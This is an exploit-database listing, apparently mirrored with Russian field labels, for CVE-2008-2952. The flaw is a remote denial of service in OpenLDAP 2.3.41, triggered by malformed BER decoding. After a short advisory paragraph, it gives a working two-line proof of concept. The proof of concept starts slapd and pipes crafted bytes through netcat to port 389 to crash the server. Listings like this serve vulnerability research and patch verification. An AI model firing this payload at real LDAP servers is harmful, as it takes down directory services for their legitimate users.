Exploit OpenLDAP 2.3.41 - BER Decoding Remote Denial of Service

[Exploiter]

EDB-ID

32000

Проверка EDB

1. Пройдено

Автор

CAMERON HOTCHKIES

Тип уязвимости

DOS

Платформа

LINUX

CVE

cve-2008-2952

Дата публикации

2008-06-30

source: https://www.securityfocus.com/bid/30013/info

OpenLDAP is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to deny service to legitimate users by crashing affected servers.

OpenLDAP 2.3.41 is vulnerable to this issue; earlier versions back to approximately 2.1.18 as well as newer versions may also be affected.

slapd -h ldap:// -d511 &
perl -e 'print "\xff\xff\xff\x00\x84\x41\x42\x43\x44"' | nc localhost 389